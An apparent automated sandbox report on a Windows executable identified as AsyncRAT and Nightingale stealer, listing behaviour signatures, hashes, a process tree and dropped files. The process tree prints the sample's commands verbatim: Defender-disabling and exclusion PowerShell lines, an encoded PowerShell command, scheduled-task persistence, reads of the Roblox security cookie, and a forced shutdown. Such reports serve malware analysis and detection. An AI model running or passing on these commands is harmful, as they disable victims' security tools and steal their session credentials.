Analysis

  • max time kernel
    130s
  • max time network
    131s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/11/2024, 21:22

Errors

Reason
Machine shutdown

General

  • Target

    DAnegds_LetThereBeCarnage.exe

  • Size

    176KB

  • MD5

    9be0ce1fee8d843a42b1dcb1ae8a3eaa

  • SHA1

    8ba99f4d945c297a78c11eaebf3e25a13155192e

  • SHA256

    88b40bff36c532652d1c4da16fafe23d4dd0460618c54a489a6418281dbb0646

  • SHA512

    b2d362eceaf9dedf3296cc2582c5442414925490a36c51dc277d8c14a9a9cc10578dd88f74dd1afcc79da2377b6bc75a20c21c08491dc22f16f03546643863c3

  • SSDEEP

    3072:GlTFUnEvu9PnL/MvAFtOwQ9bwVjfyqyq5Q8hSbJX2UlD1fz6:SEUAFtOwQ9b0jfyqyqi8hSbJXZ1m

Malware Config

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Nightingale family
  • Nightingale stealer

    Nightingale stealer is an information stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 10 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DAnegds_LetThereBeCarnage.exe
    "C:\Users\Admin\AppData\Local\Temp\DAnegds_LetThereBeCarnage.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn DJhahagJbad /tr 'C:\Users\Admin\AppData\Roaming\DJhahagJbad.exe' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn DJhahagJbad /tr 'C:\Users\Admin\AppData\Roaming\DJhahagJbad.exe'
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3864
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp90E6.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:4080
      • C:\Users\Admin\AppData\Roaming\DJhahagJbad.exe
        C:\Users\Admin\AppData\Roaming\DJhahagJbad.exe
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Accesses Microsoft Outlook profiles
        • Adds Run key to start application
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:4728
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPathC:\Users\Admin\AppData\Roaming\DJhahagJbad.exe & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1688
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPathC:\Users\Admin\AppData\Roaming\DJhahagJbad.exe
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2564
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /k start /b powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath USERPROFILE\\AppData\" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath USERPROFILE\\Local\" & powershell.exe -command \"Set-MpPreference -ExclusionExtension .exe\" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4480
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:320
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -SubmitSamplesConsent 2
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2012
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath USERPROFILE\\AppData\"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:4580
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath USERPROFILE\\Local\"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:1776
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -command \"Set-MpPreference -ExclusionExtension .exe\"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:876
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -encodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQASgBoAGEAaABhAGcASgBiAGEAZAAuAGUAeABlACcAOwAgAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAdQBzAGgATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAiACAALQBOAGEAbQBlACAAIgBUAG8AYQBzAHQARQBuAGEAYgBsAGUAZAAiACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBvAHIAZAAgAC0ARgBvAHIAYwBlAA==
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4052
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious use of AdjustPrivilegeToken
          PID:640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:412
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c Shutdown /s /f /t 00
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4816
          • C:\Windows\system32\shutdown.exe
            Shutdown /s /f /t 00
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3816
  • C:\Windows\system32\wbem\WmiApSrv.exe
    C:\Windows\system32\wbem\WmiApSrv.exe
    1⤵
      PID:4660
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x4 /state0:0xa38ed055 /state1:0x41c64e6d
      1⤵
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      PID:2316

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      e5ea61f668ad9fe64ff27dec34fe6d2f

      SHA1

      5d42aa122b1fa920028b9e9514bd3aeac8f7ff4b

      SHA256

      8f161e4c74eb4ca15c0601ce7a291f3ee1dc0aa46b788181bfe1d33f2b099466

      SHA512

      cb308188323699eaa2903424527bcb40585792f5152aa7ab02e32f94a0fcfe73cfca2c7b3cae73a9df3e307812dbd18d2d50acbbfeb75d87edf1eb83dd109f34

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      944B

      MD5

      81df8c4b456fb7d11618bf842699b06a

      SHA1

      b1dfabc024b75879d00c0cb3228425f850544de1

      SHA256

      c8cd0ba7c42b909850ff2d0fdc077983d840aadc1de7f0ea89b03fb5faa44176

      SHA512

      74f995c0b2d85ce4a1ee22a02688feb0e31ffb8d63db8067fe7f848bd5070798be6d3ba2b318024dc2254f437e34b1706b98cb202000073d2b7936a630e5f97e

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      58597c416a1c10d654d5110cb6c34218

      SHA1

      ba6cd6f60a676bd228a11d870c2e236301b555cd

      SHA256

      123e66ad1620aee9bcd9fb9a976869595c878b86d84ae2c33c54e4cabdca5bf2

      SHA512

      3f20bd7324c671a3bce0be9e7f965a9ccb75d8ccfd896bfa6e7046524c419dc36be4461f2b29917ad05444be44f0719b766f856329aed9b8d11719bf46db3fa5

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      1a11402783a8686e08f8fa987dd07bca

      SHA1

      580df3865059f4e2d8be10644590317336d146ce

      SHA256

      9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

      SHA512

      5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      446dd1cf97eaba21cf14d03aebc79f27

      SHA1

      36e4cc7367e0c7b40f4a8ace272941ea46373799

      SHA256

      a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

      SHA512

      a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o1rjc2wb.di1.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmp90E6.tmp.bat

      Filesize

      149B

      MD5

      cd358c1d9ae718b1c7ec8385b0ac254b

      SHA1

      f7837a843d18ba6cbc48431b69008258461a97be

      SHA256

      70e7d412e68dac7807405ead6b228d0dcc4b3224701192d6e0d53e457650f698

      SHA512

      0817996e68e15fcdf3cdaab7c010e5bc9e50926c73fd796e7039be474c706e4b6dc5c06cd9d8f75fd38bd012a62b79ddb8e2be93aa215b870d4054e7a1107ef7

    • C:\Users\Admin\AppData\Roaming\DJhahagJbad.exe

      Filesize

      176KB

      MD5

      9be0ce1fee8d843a42b1dcb1ae8a3eaa

      SHA1

      8ba99f4d945c297a78c11eaebf3e25a13155192e

      SHA256

      88b40bff36c532652d1c4da16fafe23d4dd0460618c54a489a6418281dbb0646

      SHA512

      b2d362eceaf9dedf3296cc2582c5442414925490a36c51dc277d8c14a9a9cc10578dd88f74dd1afcc79da2377b6bc75a20c21c08491dc22f16f03546643863c3

    • memory/640-109-0x0000017DB7CE0000-0x0000017DB7EFC000-memory.dmp

      Filesize

      2.1MB

    • memory/2564-17-0x00000275A4880000-0x00000275A48A2000-memory.dmp

      Filesize

      136KB

    • memory/2908-1-0x00000000006B0000-0x00000000006E0000-memory.dmp

      Filesize

      192KB

    • memory/2908-7-0x00007FFA20CC0000-0x00007FFA21781000-memory.dmp

      Filesize

      10.8MB

    • memory/2908-2-0x00007FFA20CC0000-0x00007FFA21781000-memory.dmp

      Filesize

      10.8MB

    • memory/2908-0-0x00007FFA20CC3000-0x00007FFA20CC5000-memory.dmp

      Filesize

      8KB

    • memory/4728-94-0x0000000020870000-0x00000000208E6000-memory.dmp

      Filesize

      472KB

    • memory/4728-95-0x00000000037E0000-0x00000000037F0000-memory.dmp

      Filesize

      64KB

    • memory/4728-96-0x00000000207F0000-0x000000002080E000-memory.dmp

      Filesize

      120KB

    • memory/4728-97-0x00000000016A0000-0x00000000016E0000-memory.dmp

      Filesize

      256KB

    • memory/4728-121-0x0000000001730000-0x000000000179C000-memory.dmp

      Filesize

      432KB